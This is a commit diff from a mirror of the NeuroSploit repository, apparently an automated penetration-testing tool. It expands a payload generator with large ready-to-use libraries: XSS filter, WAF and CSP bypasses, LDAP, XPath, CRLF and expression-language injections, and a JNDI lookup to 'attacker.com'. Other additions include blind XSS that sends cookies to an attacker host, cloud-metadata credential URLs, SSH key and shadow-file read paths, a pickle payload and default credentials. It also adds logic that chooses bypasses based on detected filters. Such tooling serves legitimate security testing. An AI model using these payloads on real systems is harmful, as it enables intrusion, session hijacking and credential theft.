mirror of
https://github.com/CyberSecurityUP/NeuroSploit.git
synced 2026-07-12 14:06:34 +02:00
Add files via upload
This commit is contained in:
@@ -1,5 +1,13 @@
|
||||
from backend.core.vuln_engine.engine import DynamicVulnerabilityEngine
|
||||
from backend.core.vuln_engine.registry import VulnerabilityRegistry
|
||||
from backend.core.vuln_engine.payload_generator import PayloadGenerator
|
||||
|
||||
|
||||
def __getattr__(name):
|
||||
"""Lazy import for DynamicVulnerabilityEngine (requires database models)"""
|
||||
if name == "DynamicVulnerabilityEngine":
|
||||
from backend.core.vuln_engine.engine import DynamicVulnerabilityEngine
|
||||
return DynamicVulnerabilityEngine
|
||||
raise AttributeError(f"module {__name__!r} has no attribute {name!r}")
|
||||
|
||||
|
||||
__all__ = ["DynamicVulnerabilityEngine", "VulnerabilityRegistry", "PayloadGenerator"]
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
@@ -48,11 +48,129 @@ class PayloadGenerator:
|
||||
"<img src=x onerror=alert(1)>",
|
||||
],
|
||||
"xss_stored": [
|
||||
"<script>alert('StoredXSS')</script>",
|
||||
"<img src=x onerror=alert('StoredXSS')>",
|
||||
"<svg onload=alert('StoredXSS')>",
|
||||
"javascript:alert('StoredXSS')",
|
||||
"<a href=javascript:alert('StoredXSS')>click</a>",
|
||||
# Basic script tags
|
||||
"<script>alert(1)</script>",
|
||||
"<script>alert(document.domain)</script>",
|
||||
"<script>alert(String.fromCharCode(88,83,83))</script>",
|
||||
"<Script>alert(1)</Script>",
|
||||
"<scr<script>ipt>alert(1)</scr</script>ipt>",
|
||||
"<script/src=data:,alert(1)>",
|
||||
"<script>alert`1`</script>",
|
||||
# IMG event handlers
|
||||
"<img src=x onerror=alert(1)>",
|
||||
"<img src=x onerror=alert(document.domain)>",
|
||||
"<img/src=x onerror=alert(1)>",
|
||||
"<img src=1 onerror='alert(1)'>",
|
||||
"<IMG SRC=x ONERROR=alert(1)>",
|
||||
"<img src onerror=alert(1)>",
|
||||
"<img src=x onerror=prompt(1)>",
|
||||
"<img src=x onerror=confirm(1)>",
|
||||
# SVG event handlers
|
||||
"<svg onload=alert(1)>",
|
||||
"<svg/onload=alert(1)>",
|
||||
"<svg onload=alert(document.domain)>",
|
||||
"<svg><script>alert(1)</script></svg>",
|
||||
"<svg><animate onbegin=alert(1)>",
|
||||
"<svg><set onbegin=alert(1)>",
|
||||
# Other element events
|
||||
"<body onload=alert(1)>",
|
||||
"<input onfocus=alert(1) autofocus>",
|
||||
"<input onblur=alert(1) autofocus><input autofocus>",
|
||||
"<details open ontoggle=alert(1)>",
|
||||
"<marquee onstart=alert(1)>",
|
||||
"<video><source onerror=alert(1)>",
|
||||
"<audio src=x onerror=alert(1)>",
|
||||
"<video src=x onerror=alert(1)>",
|
||||
"<select onfocus=alert(1) autofocus>",
|
||||
"<textarea onfocus=alert(1) autofocus>",
|
||||
"<xss autofocus tabindex=1 onfocus=alert(1)></xss>",
|
||||
"<div contenteditable onblur=alert(1)>click then lose focus</div>",
|
||||
# Anchor/link
|
||||
"<a href=javascript:alert(1)>click</a>",
|
||||
"<a href='javascript:alert(1)'>click me</a>",
|
||||
"<a href=javascript:alert(1)>click</a>",
|
||||
"<iframe src=javascript:alert(1)>",
|
||||
"<embed src=javascript:alert(1)>",
|
||||
# Attribute escape + event handlers
|
||||
'" onfocus=alert(1) autofocus x="',
|
||||
"' onfocus=alert(1) autofocus x='",
|
||||
'"><script>alert(1)</script>',
|
||||
"'><script>alert(1)</script>",
|
||||
'" onmouseover=alert(1) x="',
|
||||
"' onmouseover=alert(1) x='",
|
||||
'"><img src=x onerror=alert(1)>',
|
||||
"'><img src=x onerror=alert(1)>",
|
||||
'" autofocus onfocus=alert(1) x="',
|
||||
# JavaScript context breakout
|
||||
"</script><script>alert(1)</script>",
|
||||
"';alert(1)//",
|
||||
'";alert(1)//',
|
||||
"'-alert(1)-'",
|
||||
'"-alert(1)-"',
|
||||
"\\\\';;alert(1)//",
|
||||
"${alert(1)}",
|
||||
"</script><img src=x onerror=alert(1)>",
|
||||
# Encoding bypasses
|
||||
"%3Cscript%3Ealert(1)%3C/script%3E",
|
||||
"<script>alert(1)</script>",
|
||||
"<script>alert(1)</script>",
|
||||
"<script>al\\u0065rt(1)</script>",
|
||||
"<scr\\x00ipt>alert(1)</scr\\x00ipt>",
|
||||
"javas\\tcript:alert(1)",
|
||||
# WAF/filter bypass
|
||||
"<img src=x onerror=alert`1`>",
|
||||
"<img src=x onerror=window['alert'](1)>",
|
||||
"<img src=x onerror=self['alert'](1)>",
|
||||
"<img src=x onerror=top['al'+'ert'](1)>",
|
||||
"<img src=x onerror=[].constructor.constructor('alert(1)')()>",
|
||||
"<img src=x onerror=Function('alert(1)')()>",
|
||||
"<img src=x onerror=eval(atob('YWxlcnQoMSk='))>",
|
||||
"<svg><animatetransform onbegin=alert(1)>",
|
||||
"<style>@keyframes x{}</style><xss style='animation-name:x' onanimationend='alert(1)'>",
|
||||
"<form><button formaction=javascript:alert(1)>X</button></form>",
|
||||
"<object data=javascript:alert(1)>",
|
||||
"<math><mtext><table><mglyph><style><!--</style><img src=x onerror=alert(1)>",
|
||||
],
|
||||
# XSS Context-Specific Payloads
|
||||
"xss_context_html_body": [
|
||||
"<script>alert(1)</script>",
|
||||
"<img src=x onerror=alert(1)>",
|
||||
"<svg onload=alert(1)>",
|
||||
"<details open ontoggle=alert(1)>",
|
||||
"<input onfocus=alert(1) autofocus>",
|
||||
"<body onload=alert(1)>",
|
||||
"<xss autofocus tabindex=1 onfocus=alert(1)></xss>",
|
||||
"<video><source onerror=alert(1)>",
|
||||
],
|
||||
"xss_context_attribute": [
|
||||
'" onfocus=alert(1) autofocus x="',
|
||||
"' onfocus=alert(1) autofocus x='",
|
||||
'"><script>alert(1)</script>',
|
||||
"'><script>alert(1)</script>",
|
||||
'" onmouseover=alert(1) x="',
|
||||
'"><img src=x onerror=alert(1)>',
|
||||
'" autofocus onfocus=alert(1) x="',
|
||||
"' autofocus onfocus=alert(1) x='",
|
||||
],
|
||||
"xss_context_js_string": [
|
||||
"';alert(1)//",
|
||||
'";alert(1)//',
|
||||
"</script><script>alert(1)</script>",
|
||||
"'-alert(1)-'",
|
||||
"\\\\';;alert(1)//",
|
||||
"</script><img src=x onerror=alert(1)>",
|
||||
],
|
||||
"xss_context_template_literal": [
|
||||
"${alert(1)}",
|
||||
"${alert(document.domain)}",
|
||||
"${[].constructor.constructor('alert(1)')()}",
|
||||
],
|
||||
"xss_context_href": [
|
||||
"javascript:alert(1)",
|
||||
"javascript:alert(document.domain)",
|
||||
"javascript:alert(1)",
|
||||
"java%0ascript:alert(1)",
|
||||
"data:text/html,<script>alert(1)</script>",
|
||||
],
|
||||
"xss_dom": [
|
||||
"#<script>alert('DOMXSS')</script>",
|
||||
@@ -282,8 +400,502 @@ class PayloadGenerator:
|
||||
"test",
|
||||
"../1",
|
||||
],
|
||||
|
||||
# ===== NEW PAYLOAD LIBRARIES (68 new types) =====
|
||||
|
||||
# Advanced Injection
|
||||
"ldap_injection": [
|
||||
"*", ")(cn=*)", ")(|(cn=*", "*)(uid=*))(|(uid=*",
|
||||
"admin)(&)", ")(|(password=*)", "*)(objectClass=*",
|
||||
],
|
||||
"xpath_injection": [
|
||||
"' or '1'='1", "' or ''='", "'] | //user/* | //user['",
|
||||
"' and count(//user)>0 and '1'='1",
|
||||
],
|
||||
"graphql_injection": [
|
||||
'{__schema{types{name,fields{name,type{name}}}}}',
|
||||
'{__type(name:"User"){fields{name}}}',
|
||||
'{"query":"mutation{updateUser(role:\\"admin\\"){id}}"}',
|
||||
],
|
||||
"crlf_injection": [
|
||||
"%0d%0aX-Injected:neurosploit", "%0d%0aSet-Cookie:evil=1",
|
||||
"%0d%0a%0d%0a<html>injected", "\\r\\nX-Test:1",
|
||||
"%0d%0aLocation:http://evil.com",
|
||||
],
|
||||
"header_injection": [
|
||||
"evil.com", "%0d%0aInjected:true",
|
||||
"target.com\r\nX-Injected: true", "evil.com%00.target.com",
|
||||
],
|
||||
"email_injection": [
|
||||
"test@test.com%0d%0aCc:attacker@evil.com",
|
||||
"test@test.com%0d%0aBcc:spy@evil.com",
|
||||
"test@test.com%0aSubject:Hacked",
|
||||
],
|
||||
"expression_language_injection": [
|
||||
"${7*7}", "#{7*7}", "${applicationScope}",
|
||||
"${T(java.lang.Runtime).getRuntime().exec('id')}",
|
||||
"${pageContext.request.serverName}",
|
||||
],
|
||||
"log_injection": [
|
||||
"test%0aINFO:Admin_logged_in",
|
||||
"${jndi:ldap://attacker.com/a}",
|
||||
"test%0a%0aNEW_LOG_ENTRY",
|
||||
"\\x1b[31mRED_TEXT",
|
||||
],
|
||||
"html_injection": [
|
||||
"<h1>INJECTED</h1>", "<b>neurosploit_test</b>",
|
||||
"<img src=x>", "<form action='http://evil.com'><input name=pw><input type=submit>",
|
||||
"<a href='http://evil.com'>Click Here</a>",
|
||||
],
|
||||
"csv_injection": [
|
||||
"=cmd|'/C calc'!A0", "=1+1", "+1+1", "@SUM(1+1)",
|
||||
'=HYPERLINK("http://evil.com","Click")',
|
||||
"-1+1", '=IMPORTXML("http://evil.com","//a")',
|
||||
],
|
||||
"orm_injection": [
|
||||
"field__gt=0", "field__contains=admin", "field__regex=.*",
|
||||
"' OR '1'='1", "field[$ne]=",
|
||||
],
|
||||
|
||||
# XSS Advanced
|
||||
"blind_xss": [
|
||||
"<script src=//callback.attacker.com></script>",
|
||||
"'><script>new Image().src='//attacker.com/?c='+document.cookie</script>",
|
||||
"<img src=//callback.attacker.com/blind>",
|
||||
],
|
||||
"mutation_xss": [
|
||||
"<math><mtext><table><mglyph><style><!--</style><img src=x onerror=alert(1)>",
|
||||
"<svg></p><style><a id=\"</style><img src=1 onerror=alert(1)>\">",
|
||||
"<noscript><p title=\"</noscript><img src=x onerror=alert(1)>\">",
|
||||
],
|
||||
|
||||
# File Access Advanced
|
||||
"arbitrary_file_read": [
|
||||
"/etc/passwd", "/etc/shadow", "../../../.env",
|
||||
"../../config/database.yml", "/proc/self/environ",
|
||||
"~/.ssh/id_rsa", "C:\\Windows\\win.ini",
|
||||
],
|
||||
"arbitrary_file_delete": [
|
||||
"../../../tmp/test_delete", "../../.htaccess",
|
||||
"../../../tmp/neurosploit_test",
|
||||
],
|
||||
"zip_slip": [
|
||||
"../../tmp/zipslip_test.txt",
|
||||
"../../../var/www/html/shell.php",
|
||||
"../../../../tmp/zipslip_proof",
|
||||
],
|
||||
|
||||
# Auth Advanced
|
||||
"weak_password": [
|
||||
"123456", "password", "abc123", "qwerty",
|
||||
"aaaaaa", "12345678", "Password1", "test",
|
||||
],
|
||||
"default_credentials": [
|
||||
"admin:admin", "admin:password", "root:root",
|
||||
"test:test", "admin:admin123", "user:user",
|
||||
"admin:changeme", "admin:default",
|
||||
],
|
||||
"two_factor_bypass": [
|
||||
"000000", "123456", "skip_2fa=true",
|
||||
"verify=false", "step=3",
|
||||
],
|
||||
"oauth_misconfiguration": [
|
||||
"redirect_uri=https://evil.com",
|
||||
"redirect_uri=https://target.com.evil.com",
|
||||
"redirect_uri=https://target.com/callback?next=evil.com",
|
||||
],
|
||||
|
||||
# Authorization Advanced
|
||||
"bfla": [
|
||||
"/api/admin/users", "/api/admin/settings",
|
||||
"/api/admin/create-user", "/admin/config",
|
||||
],
|
||||
"mass_assignment": [
|
||||
'{"role":"admin"}', '{"is_admin":true}',
|
||||
'{"verified":true}', '{"balance":99999}',
|
||||
'{"account_type":"premium"}',
|
||||
],
|
||||
"forced_browsing": [
|
||||
"/admin", "/dashboard", "/api/admin",
|
||||
"/internal", "/debug", "/console",
|
||||
"/actuator", "/swagger-ui.html", "/.git/config",
|
||||
"/.env", "/backup.sql", "/phpinfo.php",
|
||||
],
|
||||
|
||||
# Client-Side Advanced
|
||||
"dom_clobbering": [
|
||||
'<img id="x" src="evil.com">',
|
||||
'<form id="x"><input id="y" value="evil"></form>',
|
||||
'<a id="CONFIG" href="evil://payload">',
|
||||
],
|
||||
"postmessage_vulnerability": [
|
||||
'window.postMessage("inject","*")',
|
||||
'window.postMessage(\'{"cmd":"getToken"}\',\'*\')',
|
||||
],
|
||||
"websocket_hijacking": [
|
||||
"new WebSocket('wss://target.com/ws')",
|
||||
],
|
||||
"prototype_pollution": [
|
||||
'{"__proto__":{"isAdmin":true}}',
|
||||
'{"constructor":{"prototype":{"polluted":true}}}',
|
||||
'?__proto__[isAdmin]=true',
|
||||
'?__proto__[test]=polluted',
|
||||
],
|
||||
"css_injection": [
|
||||
"color:red;background:url(//evil.com/test)",
|
||||
"};body{background:red}",
|
||||
"input[value^='a']{background:url(//evil.com/a)}",
|
||||
],
|
||||
"tabnabbing": [
|
||||
'<a target="_blank" href="http://test.com">Test</a>',
|
||||
],
|
||||
|
||||
# Infrastructure Advanced
|
||||
"directory_listing": [
|
||||
"/images/", "/uploads/", "/backup/",
|
||||
"/static/", "/assets/", "/media/",
|
||||
"/files/", "/docs/", "/data/", "/logs/",
|
||||
],
|
||||
"debug_mode": [
|
||||
"/nonexistent_page_404_test", "/?debug=true",
|
||||
"/phpinfo.php", "/actuator/env",
|
||||
"/debug/pprof", "/__debug__/",
|
||||
],
|
||||
"exposed_admin_panel": [
|
||||
"/admin", "/administrator", "/admin/login",
|
||||
"/wp-admin", "/cpanel", "/phpmyadmin",
|
||||
"/adminer", "/manager/html", "/jenkins",
|
||||
],
|
||||
"exposed_api_docs": [
|
||||
"/swagger-ui.html", "/swagger-ui/", "/api-docs",
|
||||
"/openapi.json", "/swagger.json", "/graphql",
|
||||
"/graphiql", "/redoc", "/v1/api-docs",
|
||||
],
|
||||
"insecure_cookie_flags": [], # Inspection-based, no payloads
|
||||
"http_smuggling": [
|
||||
"Content-Length: 6\r\nTransfer-Encoding: chunked",
|
||||
"Transfer-Encoding: xchunked",
|
||||
],
|
||||
"cache_poisoning": [
|
||||
"X-Forwarded-Host: evil.com",
|
||||
"X-Forwarded-Scheme: nothttps",
|
||||
"X-Original-URL: /admin",
|
||||
],
|
||||
|
||||
# Logic & Data
|
||||
"race_condition": [], # Requires concurrent requests, not payloads
|
||||
"business_logic": [
|
||||
"-1", "0", "0.001", "99999999",
|
||||
"-99999", "NaN", "null", "undefined",
|
||||
],
|
||||
"rate_limit_bypass": [
|
||||
"X-Forwarded-For: 1.2.3.4",
|
||||
"X-Real-IP: 1.2.3.4",
|
||||
"X-Originating-IP: 1.2.3.4",
|
||||
],
|
||||
"parameter_pollution": [
|
||||
"param=safe¶m=malicious",
|
||||
"param[]=a¶m[]=b",
|
||||
],
|
||||
"type_juggling": [
|
||||
"0", "true", "[]", "null",
|
||||
'{"password":0}', '{"password":true}',
|
||||
],
|
||||
"insecure_deserialization": [
|
||||
"rO0ABXNyAA...", # Java serialization marker
|
||||
'O:4:"User":1:{s:4:"role";s:5:"admin";}', # PHP
|
||||
"gASVDAAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjAJpZJSFlFKULg==", # Python pickle
|
||||
],
|
||||
"subdomain_takeover": [], # DNS-based, not payloads
|
||||
"host_header_injection": [
|
||||
"evil.com", "target.com:evil.com@evil.com",
|
||||
"evil.com%0d%0aX-Injected:true",
|
||||
],
|
||||
"timing_attack": [], # Time-measurement based
|
||||
"improper_error_handling": [
|
||||
"' \"", "{{invalid}}", "<>!@#$%^&*()",
|
||||
"a" * 10000, "\x00\x01\x02", "NaN", "undefined",
|
||||
],
|
||||
"sensitive_data_exposure": [], # Inspection-based
|
||||
"information_disclosure": [
|
||||
"/.git/config", "/.git/HEAD", "/.svn/entries",
|
||||
"/.env", "/robots.txt", "/sitemap.xml",
|
||||
"/crossdomain.xml", "/.DS_Store",
|
||||
],
|
||||
"api_key_exposure": [], # JS analysis, not payloads
|
||||
"source_code_disclosure": [
|
||||
"/.git/config", "/.git/HEAD", "/app.js.map",
|
||||
"/main.js.map", "/index.php.bak", "/config.php~",
|
||||
"/web.config.old", "/backup.zip",
|
||||
],
|
||||
"backup_file_exposure": [
|
||||
"/backup.sql", "/dump.sql", "/database.sql",
|
||||
"/backup.zip", "/backup.tar.gz", "/site.zip",
|
||||
"/db_backup.sql", "/backup/latest.sql",
|
||||
],
|
||||
"version_disclosure": [], # Header inspection
|
||||
|
||||
# Crypto & Supply
|
||||
"weak_encryption": [], # TLS inspection
|
||||
"weak_hashing": [], # Hash analysis
|
||||
"weak_random": [], # Token collection
|
||||
"cleartext_transmission": [], # HTTP inspection
|
||||
"vulnerable_dependency": [], # Version fingerprinting
|
||||
"outdated_component": [
|
||||
"/readme.html", "/CHANGELOG.md", "/VERSION",
|
||||
"/license.txt",
|
||||
],
|
||||
"insecure_cdn": [], # Script tag inspection
|
||||
"container_escape": [], # Container inspection
|
||||
|
||||
# Cloud & API
|
||||
"s3_bucket_misconfiguration": [], # External check
|
||||
"cloud_metadata_exposure": [
|
||||
"http://169.254.169.254/latest/meta-data/",
|
||||
"http://169.254.169.254/latest/meta-data/iam/security-credentials/",
|
||||
"http://metadata.google.internal/computeMetadata/v1/",
|
||||
],
|
||||
"serverless_misconfiguration": [], # Config inspection
|
||||
"graphql_introspection": [
|
||||
'{__schema{queryType{name},mutationType{name},types{name,kind,fields{name,type{name,kind,ofType{name}}}}}}',
|
||||
'{__type(name:"User"){fields{name,type{name}}}}',
|
||||
],
|
||||
"graphql_dos": [
|
||||
'{"query":"{' + 'user{posts{comments{author' * 5 + '}}}}}' + '}' * 4 + '"}',
|
||||
],
|
||||
"rest_api_versioning": [
|
||||
"/api/v1/", "/api/v0/", "/v1/", "/api/1.0/",
|
||||
],
|
||||
"soap_injection": [
|
||||
"?wsdl",
|
||||
'<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><soap:Envelope><soap:Body>&xxe;</soap:Body></soap:Envelope>',
|
||||
],
|
||||
"api_rate_limiting": [], # Rapid request testing
|
||||
"excessive_data_exposure": [], # Response analysis
|
||||
|
||||
# ===== XSS BYPASS PAYLOAD LIBRARIES =====
|
||||
|
||||
"xss_bypass_event_handlers": [
|
||||
"<svg onload=alert(1)>",
|
||||
"<body onload=alert(1)>",
|
||||
"<input onfocus=alert(1) autofocus>",
|
||||
"<details open ontoggle=alert(1)>",
|
||||
"<marquee onstart=alert(1)>",
|
||||
"<video><source onerror=alert(1)>",
|
||||
"<audio src=x onerror=alert(1)>",
|
||||
"<select onfocus=alert(1) autofocus>",
|
||||
"<textarea onfocus=alert(1) autofocus>",
|
||||
"<input onblur=alert(1) autofocus><input autofocus>",
|
||||
"<div contenteditable onblur=alert(1)>x</div>",
|
||||
"<svg><animate onbegin=alert(1) attributeName=x dur=1s>",
|
||||
"<svg><set onbegin=alert(1) attributename=x to=1>",
|
||||
"<svg><animatetransform onbegin=alert(1) attributename=x>",
|
||||
"<xss autofocus tabindex=1 onfocus=alert(1)></xss>",
|
||||
"<xss id=x onfocus=alert(1) tabindex=1>#x</xss>",
|
||||
"<input type=image src=x onerror=alert(1)>",
|
||||
"<object data=x onerror=alert(1)>",
|
||||
"<style>@keyframes x{}</style><xss style='animation-name:x' onanimationend=alert(1)>",
|
||||
"<xss onpointerover=alert(1)>hover</xss>",
|
||||
],
|
||||
"xss_bypass_custom_tags": [
|
||||
"<xss autofocus tabindex=1 onfocus=alert(1)></xss>",
|
||||
"<xss id=x onfocus=alert(1) tabindex=1>#x</xss>",
|
||||
"<xss onpointerover=alert(1)>hover me</xss>",
|
||||
"<xss onfocusin=alert(1) tabindex=1>focus me</xss>",
|
||||
"<custom autofocus tabindex=1 onfocus=alert(1)></custom>",
|
||||
"<math><mi onfocus=alert(1) tabindex=1>x</mi></math>",
|
||||
"<svg><a><animate attributeName=href values=javascript:alert(1) /><text x=20 y=20>Click</text></a></svg>",
|
||||
"<svg><discard onbegin=alert(1)>",
|
||||
"<svg><animate onbegin=alert(1) attributeName=x>",
|
||||
],
|
||||
"xss_bypass_alert_blocked": [
|
||||
"<img src=x onerror=confirm(1)>",
|
||||
"<img src=x onerror=prompt(1)>",
|
||||
"<img src=x onerror=print()>",
|
||||
"<img src=x onerror=alert`1`>",
|
||||
"<img src=x onerror=window['al'+'ert'](1)>",
|
||||
"<img src=x onerror=self['alert'](1)>",
|
||||
"<img src=x onerror=top['alert'](1)>",
|
||||
"<img src=x onerror=eval(atob('YWxlcnQoMSk='))>",
|
||||
"<img src=x onerror=eval('\\141\\154\\145\\162\\164(1)')>",
|
||||
"<img src=x onerror=Function('alert(1)')()>",
|
||||
"<img src=x onerror=[].constructor.constructor('alert(1)')()>",
|
||||
"<img src=x onerror=setTimeout('alert(1)')>",
|
||||
],
|
||||
"xss_bypass_encoding": [
|
||||
"<img src=x onerror=alert(1)>",
|
||||
"<img src=x onerror=alert(1)>",
|
||||
"<a href=javascript:alert(1)>click</a>",
|
||||
"<a href=javascript:alert(1)>click</a>",
|
||||
"<a href=java%0ascript:alert(1)>click</a>",
|
||||
"<a href=java%09script:alert(1)>click</a>",
|
||||
"<a href=java%0dscript:alert(1)>click</a>",
|
||||
"<svg onload=al\\u0065rt(1)>",
|
||||
"<img src=x onerror=al\\u0065rt(1)>",
|
||||
],
|
||||
"xss_bypass_waf": [
|
||||
"<Img Src=x OnError=alert(1)>",
|
||||
"<IMG SRC=x ONERROR=alert(1)>",
|
||||
"<img/src=x/onerror=alert(1)>",
|
||||
"<img\\tsrc=x\\tonerror=alert(1)>",
|
||||
"<img\\nsrc=x\\nonerror=alert(1)>",
|
||||
"<<script>alert(1)//<</script>",
|
||||
"<svg/onload=alert(1)>",
|
||||
"<body/onload=alert(1)>",
|
||||
"<input/onfocus=alert(1)/autofocus>",
|
||||
"<scr<script>ipt>alert(1)</scr</script>ipt>",
|
||||
],
|
||||
"xss_context_event_handler": [
|
||||
"alert(1)",
|
||||
"alert(document.domain)",
|
||||
"alert`1`",
|
||||
"confirm(1)",
|
||||
"prompt(1)",
|
||||
],
|
||||
"xss_context_svg": [
|
||||
"<svg onload=alert(1)>",
|
||||
"<svg><animate onbegin=alert(1) attributeName=x dur=1s>",
|
||||
"<svg><set onbegin=alert(1) attributename=x to=1>",
|
||||
"<svg><animatetransform onbegin=alert(1) attributename=x>",
|
||||
"<svg><a><animate attributeName=href values=javascript:alert(1) /><text x=20 y=20>Click</text></a></svg>",
|
||||
],
|
||||
"xss_context_textarea": [
|
||||
"</textarea><script>alert(1)</script>",
|
||||
"</textarea><img src=x onerror=alert(1)>",
|
||||
"</textarea><svg onload=alert(1)>",
|
||||
],
|
||||
"xss_context_style": [
|
||||
"</style><script>alert(1)</script>",
|
||||
"</style><img src=x onerror=alert(1)>",
|
||||
],
|
||||
"xss_csp_bypass": [
|
||||
"<script src='https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.1/angular.min.js'></script><div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>",
|
||||
"<base href='//evil.com/'>",
|
||||
"<script nonce='{{RANDOM_ID}}'>alert(1)</script>",
|
||||
"<link rel=prefetch href='//evil.com/'>",
|
||||
],
|
||||
"xss_dom_sources": [
|
||||
"#<img src=x onerror=alert(1)>",
|
||||
"#\"><img src=x onerror=alert(1)>",
|
||||
"javascript:alert(1)",
|
||||
"#'-alert(1)-'",
|
||||
"?default=<script>alert(1)</script>",
|
||||
"<img src=x onerror=alert(1)>",
|
||||
],
|
||||
"xss_canonical_accesskey": [
|
||||
"<input accesskey=x onclick=alert(1)>",
|
||||
"<a href=# accesskey=x onclick=alert(1)>press ALT+SHIFT+X</a>",
|
||||
],
|
||||
}
|
||||
|
||||
def get_context_payloads(self, context: str) -> List[str]:
|
||||
"""Get payloads for a detected injection context.
|
||||
|
||||
Supports enhanced context names from _detect_xss_context_enhanced():
|
||||
html_body, html_comment, textarea, title, noscript,
|
||||
attribute_double, attribute_single, attribute_unquoted,
|
||||
js_string_single, js_string_double, js_template_literal,
|
||||
href, script_src, event_handler, svg_context, mathml_context, style
|
||||
"""
|
||||
# Direct match first
|
||||
key = f"xss_context_{context}"
|
||||
if key in self.payload_libraries:
|
||||
return list(self.payload_libraries[key])
|
||||
|
||||
# Fallback mapping for enhanced context names
|
||||
_fallback = {
|
||||
"attribute_double": "attribute",
|
||||
"attribute_single": "attribute",
|
||||
"attribute_unquoted": "attribute",
|
||||
"js_string_single": "js_string",
|
||||
"js_string_double": "js_string",
|
||||
"js_template_literal": "template_literal",
|
||||
"html_comment": "html_body",
|
||||
"title": "textarea", # needs closing tag breakout like textarea
|
||||
"noscript": "textarea", # needs closing tag breakout
|
||||
"script_src": "href", # URL-like context
|
||||
"event_handler": "event_handler",
|
||||
"svg_context": "svg",
|
||||
"mathml_context": "html_body",
|
||||
"style": "style",
|
||||
}
|
||||
fallback_ctx = _fallback.get(context)
|
||||
if fallback_ctx:
|
||||
fb_key = f"xss_context_{fallback_ctx}"
|
||||
if fb_key in self.payload_libraries:
|
||||
return list(self.payload_libraries[fb_key])
|
||||
|
||||
# Ultimate fallback: top stored XSS payloads
|
||||
return list(self.payload_libraries.get("xss_stored", []))[:10]
|
||||
|
||||
def get_filter_bypass_payloads(self, filter_map: Dict[str, Any]) -> List[str]:
|
||||
"""Get bypass payloads based on what's blocked/allowed by filters.
|
||||
|
||||
filter_map keys:
|
||||
- allowed_chars: list of chars that pass through
|
||||
- blocked_chars: list of chars that are stripped/encoded
|
||||
- allowed_tags: list of HTML tags that survive
|
||||
- blocked_tags: list of HTML tags that are stripped
|
||||
- allowed_events: list of event handlers that survive
|
||||
- blocked_events: list of event handlers stripped
|
||||
- csp: CSP header value (or None)
|
||||
- waf_detected: bool
|
||||
"""
|
||||
payloads: List[str] = []
|
||||
allowed_chars = set(filter_map.get("allowed_chars", []))
|
||||
blocked_chars = set(filter_map.get("blocked_chars", []))
|
||||
allowed_tags = filter_map.get("allowed_tags", [])
|
||||
allowed_events = filter_map.get("allowed_events", [])
|
||||
waf = filter_map.get("waf_detected", False)
|
||||
|
||||
# If custom tags allowed, use them
|
||||
if allowed_tags:
|
||||
for tag in allowed_tags:
|
||||
for evt in (allowed_events or ["onfocus", "onload", "onerror"]):
|
||||
if tag in ("svg", "body", "math") and evt in ("onload",):
|
||||
payloads.append(f"<{tag} {evt}=alert(1)>")
|
||||
elif tag in ("img", "video", "audio", "source", "object", "input") and evt in ("onerror",):
|
||||
payloads.append(f"<{tag} src=x {evt}=alert(1)>")
|
||||
elif evt == "onfocus":
|
||||
payloads.append(f"<{tag} {evt}=alert(1) autofocus tabindex=1></{tag}>")
|
||||
elif evt == "onbegin":
|
||||
payloads.append(f"<svg><{tag} {evt}=alert(1)>")
|
||||
elif evt in ("onanimationend",):
|
||||
payloads.append(f"<style>@keyframes x{{}}</style><{tag} style='animation-name:x' {evt}=alert(1)>")
|
||||
else:
|
||||
payloads.append(f"<{tag} {evt}=alert(1)></{tag}>")
|
||||
|
||||
# Event handler bypass payloads
|
||||
payloads.extend(self.payload_libraries.get("xss_bypass_event_handlers", []))
|
||||
|
||||
# Custom tag bypass payloads
|
||||
payloads.extend(self.payload_libraries.get("xss_bypass_custom_tags", []))
|
||||
|
||||
# If parentheses are blocked, use backtick/encoding variants
|
||||
if "(" in blocked_chars or ")" in blocked_chars:
|
||||
payloads.extend(self.payload_libraries.get("xss_bypass_alert_blocked", []))
|
||||
|
||||
# If angle brackets are partially blocked, try encoding
|
||||
if "<" in blocked_chars or ">" in blocked_chars:
|
||||
payloads.extend(self.payload_libraries.get("xss_bypass_encoding", []))
|
||||
|
||||
# WAF-specific bypasses
|
||||
if waf:
|
||||
payloads.extend(self.payload_libraries.get("xss_bypass_waf", []))
|
||||
|
||||
# CSP bypass payloads
|
||||
if filter_map.get("csp"):
|
||||
payloads.extend(self.payload_libraries.get("xss_csp_bypass", []))
|
||||
|
||||
# Deduplicate while preserving order
|
||||
seen = set()
|
||||
unique: List[str] = []
|
||||
for p in payloads:
|
||||
if p not in seen:
|
||||
seen.add(p)
|
||||
unique.append(p)
|
||||
return unique
|
||||
|
||||
async def get_payloads(
|
||||
self,
|
||||
vuln_type: str,
|
||||
|
||||
@@ -11,23 +11,52 @@ from backend.core.vuln_engine.testers.injection import (
|
||||
SQLiErrorTester, SQLiUnionTester, SQLiBlindTester, SQLiTimeTester,
|
||||
CommandInjectionTester, SSTITester, NoSQLInjectionTester
|
||||
)
|
||||
from backend.core.vuln_engine.testers.advanced_injection import (
|
||||
LdapInjectionTester, XpathInjectionTester, GraphqlInjectionTester,
|
||||
CrlfInjectionTester, HeaderInjectionTester, EmailInjectionTester,
|
||||
ELInjectionTester, LogInjectionTester, HtmlInjectionTester,
|
||||
CsvInjectionTester, OrmInjectionTester
|
||||
)
|
||||
from backend.core.vuln_engine.testers.file_access import (
|
||||
LFITester, RFITester, PathTraversalTester, XXETester, FileUploadTester
|
||||
LFITester, RFITester, PathTraversalTester, XXETester, FileUploadTester,
|
||||
ArbitraryFileReadTester, ArbitraryFileDeleteTester, ZipSlipTester
|
||||
)
|
||||
from backend.core.vuln_engine.testers.request_forgery import (
|
||||
SSRFTester, CSRFTester
|
||||
SSRFTester, CSRFTester, GraphqlIntrospectionTester, GraphqlDosTester
|
||||
)
|
||||
from backend.core.vuln_engine.testers.auth import (
|
||||
AuthBypassTester, JWTManipulationTester, SessionFixationTester
|
||||
AuthBypassTester, JWTManipulationTester, SessionFixationTester,
|
||||
WeakPasswordTester, DefaultCredentialsTester, TwoFactorBypassTester,
|
||||
OauthMisconfigTester
|
||||
)
|
||||
from backend.core.vuln_engine.testers.authorization import (
|
||||
IDORTester, BOLATester, PrivilegeEscalationTester
|
||||
IDORTester, BOLATester, PrivilegeEscalationTester,
|
||||
BflaTester, MassAssignmentTester, ForcedBrowsingTester
|
||||
)
|
||||
